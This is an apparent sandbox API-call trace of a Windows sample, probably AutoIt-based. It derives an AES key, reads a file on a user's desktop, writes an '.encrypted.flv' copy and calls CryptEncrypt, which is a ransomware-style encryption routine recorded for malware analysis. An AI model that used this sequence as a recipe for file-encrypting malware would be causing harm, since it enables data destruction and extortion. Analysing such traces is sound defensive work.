(in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.882] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.882] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0021.882] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.882] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.882] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0021.882] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.882] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.882] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.882] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0021.882] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.882] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.882] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.882] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.882] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.882] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0021.882] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.882] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0021.883] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.884] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.884] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0021.884] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.884] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.884] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.884] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.885] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.885] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0021.885] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.885] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0021.885] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0021.885] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.885] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.885] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.885] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0021.885] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.885] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.885] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0021.885] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.885] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.885] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0021.885] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.885] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.885] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0021.885] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.885] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.885] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.885] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.885] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.885] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.885] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.885] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0021.885] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.885] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.885] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0021.885] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.886] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.886] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.886] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.886] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0021.886] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.886] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.886] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.886] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.886] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.886] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b360, dwDataLen=0x20, dwFlags=0x1) returned 1 [0021.886] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.886] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.886] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.886] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.886] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.886] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0021.886] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.886] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.886] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0021.886] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.886] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.886] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.886] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.886] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.886] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.886] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0021.886] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.886] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0021.887] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.888] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.888] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.888] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.888] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.888] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\oTNowkVPArPdClpl.flv" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\-kar\\otnowkvparpdclpl.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0021.888] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0021.888] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0021.888] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.888] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.888] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.889] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\-kar")) returned 0x10 [0021.889] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\oTNowkVPArPdClpl.encrypted.flv" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\-kar\\otnowkvparpdclpl.encrypted.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0021.889] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.889] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.889] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.889] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.891] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0021.891] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0xb5a7, lpOverlapped=0x0) returned 1 [0021.892] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0021.894] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.894] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.894] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.894] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0021.894] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.894] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.894] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0021.895] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.895] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0021.895] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.895] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.895] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.895] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0021.896] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.896] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064c50, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c50*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0021.896] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.896] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0021.896] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.896] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.896] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.896] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.896] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.896] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.896] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0021.896] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.896] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0021.896] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0021.896] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.896] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.896] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0021.896] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.896] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0021.896] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0021.896] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.896] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.896] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.896] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.896] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0021.896] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0021.897] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0021.897] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xb5a7, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xb5b0) returned 1 [0021.897] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.897] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0021.897] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 